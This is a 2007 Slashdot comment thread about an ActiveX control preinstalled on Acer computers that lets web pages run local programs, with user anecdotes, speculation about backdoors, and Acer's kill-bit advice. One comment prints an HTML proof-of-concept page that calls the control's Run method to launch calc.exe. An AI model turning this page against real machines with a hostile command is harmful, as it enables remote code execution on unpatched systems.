            I won't be surprised if all it's better about (in terms of security) is that it's less popular and thus less targeted by malware authors. We've seen some of this during the Firefox adoption boom, but I'm afraid IE7 might kill the further adoption of Firefox so I can prove it.
            [ Parent ]
            • You may be shocked to realize that Firefox plugins and extensions don't run in any sandbox at all. They in fact have access to any resource Firefox has, which on a Windows machine is usually administrator capabilities.

              You don't need to sandbox the plugin itself - you need to sandbox any code the plugin downloads and executes. For example, a Java VM plugin is not in a sandbox, however *it* sandboxes the bytecode itself - the VM restricts what the code can do. On the other hand, ActiveX failed to do this since it provided functions to access every aspect of the host environment.

              So this isn't anything to do with insecurities in the browser, this is down to insecurities in the plugin. Any firefox plugin that allows anything downloaded from the web to execute arbitrary commands on the host would be considered similarly insecure.
              [ Parent ]
        • Re:I'm not impressed with this IE7 "improvement" by dangitman (Score:1) Monday January 08 2007, @03:44AM
          • 1 reply beneath your current threshold.
        • Re:I'm not impressed with this IE7 "improvement" by HomelessInLaJolla (Score:1) Monday January 08 2007, @06:06PM
  • Blank laptops (very very old story) (Score:2, Interesting)

    by JHWH (1046444) on Monday January 08 2007, @02:23AM (#17505270)
    (http://127.0.0.1/)
    I would say it's time now to force manufacturers/distributors/retailers to provide blank laptops at least as an option.
    First, if I I have to pay for a preinstalled OS, I cannot be made responsible for that installation. The rescue CD is a kind of responsibility contract.
    Second, if I can get a blank PC, I am the one responsible for whatever will run on it without paying extra money.
    Third, if I cannot choose, the one who chose in my behalf is to be responsible for whatever happens in my machine for both hw and sw.
    So finally, they'd better leave the option to the customer.
    And, all this would apply to whatever the OS is, not just the four colours flag OS.
    • A blank laptop by dino213b (Score:1) Monday January 08 2007, @09:57AM
    • 1 reply beneath your current threshold.
  • by Cafe Alpha (891670) on Monday January 08 2007, @02:23AM (#17505272)
    They named the interface "Run(Drive,FileName,CmdLine)"

    And that's why this vulnerability was found, because the name was so damn obvious. It's as if you had an active x control registered that was named "rootkit".

    This one must be the decoy. Imagine what else could be hidden in there and not named "Please throw me in the briar patch!"
  • happens for me too (Score:2)

    by abradsn (542213) on Monday January 08 2007, @02:41AM (#17505382)
    (http://www.piratetoystore.com/)
    Dammit.... Acer aspire 1804wsmi ... was alsmost top of the line when I bought it... can't believe those jerks installed something like that on my damn machine... I though it was running slow, so I had already cleaned it and done a fresh install... but now I am sure that it was due to that exploit...
  • On behalf of Acer (Score:3, Insightful)

    by Qbertino (265505) on Monday January 08 2007, @02:55AM (#17505470)
    Acer is one of the 'big name' Laptop producers that actually sell Laptops with Linux preinstalled that are generally available and visible [alternate.de] and don't require placement of a special order at headquarters overseas. And they let you notice the price difference to the same models with Windows on them.
    Solution to this 'bug': If you buy an Acer, by one that comes with Linux.
  • pre-owned? (Score:5, Funny)

    by BigBuckHunter (722855) on Monday January 08 2007, @03:58AM (#17505770)
    Kinda changes the definition of a "pre-owned" machine!

    BBH
    • Re:pre-owned? by Joelfabulous (Score:1) Monday January 08 2007, @09:26AM
  • by Ka D'Argo (857749) on Monday January 08 2007, @05:18AM (#17506088)
    (http://hangarbay.niteshdw.com/)
    An Acer desktop was my first PC. Granted looking back in 1995/1996 $1800 for a Pentium 75 Mhz 8MB ram and 100 MB HDD was pretty ass, it was still a nice PC. Came with god knows how much free software, most of which was stuff you'd never even dream of hearing of but a few gems (Encarta, Jazz Jack Rabbit, some National Geographic application with movies of wild animals).

    Kinda brings a tear to my eye to see them do something along these lines. S'like the first time you ever heard of MS or some big company you liked as a kid, were doing underhanded business.
  • Test/exploit code (Score:4, Informative)

    by Koyaanisqatsi (581196) on Monday January 08 2007, @06:54AM (#17506598)
    The code to test for the vulnerability, right from the Brazilian article about it linked on another post. Save it as an html file and browse it with IE.

    <html>
    <body>
    <object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3A A" id="hahaha">
    </object>
    <script>
    hahaha.Run("c", "\\windows\\system32\\calc.exe", "");
    </script>
    </html>
    </body>

  • by smchris (464899) on Monday January 08 2007, @07:55AM (#17506960)

    Browsing the comments, I saw one "has it" and one "doesn't have it". Could it be regional spying? It would be interesting to correlate where the control exists and where it doesn't. Maybe China in particular should reconsider their friendship with Microsoft and reignite their initiative for Red Flag?

  • by GreatBunzinni (642500) on Monday January 08 2007, @10:09AM (#17508280)
    When I read this message what popped right on my mind was the existence of an administrator account which camed pre-installed on my Acer laptop. The account is called "ASP.NET Machine A..." which is protected by a password and I'm not able to uninstall it no matter what I try. Can this be another Acer backdoor installed on their systems?

    P.S.: the article's backdoor was also present on my system. those bastards...
  • Acer are Evil (Score:1, Offtopic)

    by exp(pi*sqrt(163)) (613870) on Monday January 08 2007, @10:29AM (#17508546)
    (Last Journal: Monday January 06 2003, @10:36PM)
    I had a touchpad fail on my new Acer a few years back. On their phone technical support they gave me the name of a local company who could repair it. At that point Acer told me I had voided the warranty by having a 3rd party look at it and I had to pay for the repair. This is the dirtiest trick I've ever had played on me by a company. Fortunately I lost less than $100 and was able to get my money back through the store that had sold me it. But it's one of the few times I've felt like firebombing a company.
  • Verification (Score:1)

    by rtstarid (1048478) on Monday January 08 2007, @11:26AM (#17509378)
    I do computer tech work now and again, and I have seen this file in the windows system folder before. Since I rarely work on Acers (no place to buy them around here), I would guess it was on a non Acer system. Has anyone tested non acer machines to see if this is some old windows file that may have been removed later (but not effectively frmo all machines) or if it is placed on OEM versions or something of that nature? If you have tested a different machine I'd ask that you post the brand of machine, Windows Version, and if you have done a clean install using a "real" windows CD or if you have only used restore CD's. I'll be checking my HP when I get home, but for now I dont have access to a Win machine.
  • Pleased... (Score:1)

    by FredDC (1048502) on Monday January 08 2007, @12:04PM (#17509924)
    Now I'm even more pleased with switching to linux on my ACER TravelMate 8000 just last week...
  • See here [slashdot.org].

    I wonder if the one up for sale for the EFF [ebay.com] was bugged. Just to see how high the irony meter can go...
  • I suppose that it would be completely unhelpful to point out that my Acer tablet doesn't seem to be afflicted.

    At least, a search of the hard drive doesn't turn up the offending .ocx file, and the problem registry entries don't exist on my machine.

    And yes, I'm still running the factory-installed Win XP-Tablet, as sacrilegious as it might be for a Slashdot reader to admit it.

    (But at least I'm using Firefox, rather than MSIE).
  • by ManuelKelly (446655) on Monday January 08 2007, @08:57PM (#17517760)
    I just checked my wife's Acer desktop system. This was purchased about 2 years ago at an Office Max store in the US.

    This program was installed on it. It is uninstalled and deleted now.

    This may be on all Acer systems, not just the laptops.
  • Answer from acer (Score:1)

    by JoeZ99 (999617) on Friday January 19 2007, @04:53PM (#17688066)
    (http://joez99.blogspot.com/)
    a week after I wrote them complaining, they wrote me back whit this:
    " Dear Joe, Thank you for contacting Acer America. I apologize for the delay in responding to your inquiry. I have forwarded this issue to the appropriate personnel and when a fix is available it will be posted in the knowledgebase on www.acerpanam.com. At this point in time, until a patch is available, the best thing would be to set the kill bit on this control - see http://support.microsoft.com/kb/240797 [microsoft.com] for more information on how to set kill bits. Online Response System... - www.acerpanam.com/... " The only thing I mentioned in the mail was "Read on slashdot by more than 10000 users". and a simple "disgusting" and a link to this story.
    Did it work??
  • Well, still 8 years newer than the file in question.
    [ Parent ]
  • Wider scope (Score:5, Insightful)

    by msobkow (48369) on Monday January 08 2007, @04:18AM (#17505844)
    (Last Journal: Sunday February 18 2007, @11:40AM)

    Intel had to allow people to disable CPU ids.

    Why is Microsoft allowed to "embed" an id string like the WGA identifiers that allow them to identify and traceback any individual who does an update of LEGALLY LICENSED SOFTWARE?!?!?

    Why do I see a 3 year backlog of error/debug messages in certain WinXP system log files, and receive advice on how to disable error logging instead of someone FIXING THE PROBLEM?

    [ Parent ]
    • Re:Wider scope by Gription (Score:1) Monday January 08 2007, @10:11AM
      • Re:Wider scope by HTH NE1 (Score:2) Monday January 08 2007, @12:28PM
      • Re:Wider scope by devilspgd (Score:2) Wednesday January 10 2007, @08:21PM
    • Re:Wider scope by pixelpusher220 (Score:1) Monday January 08 2007, @11:33AM
    • 1 reply beneath your current threshold.
  • by daniel23 (605413) on Monday January 08 2007, @08:46AM (#17507356)

    look up, this was posted already. And yes, it worked for me. Sort of satisfying to see a vulnerability consume itself
    [ Parent ]
    • 1 reply beneath your current threshold.
  • 12 replies beneath your current threshold.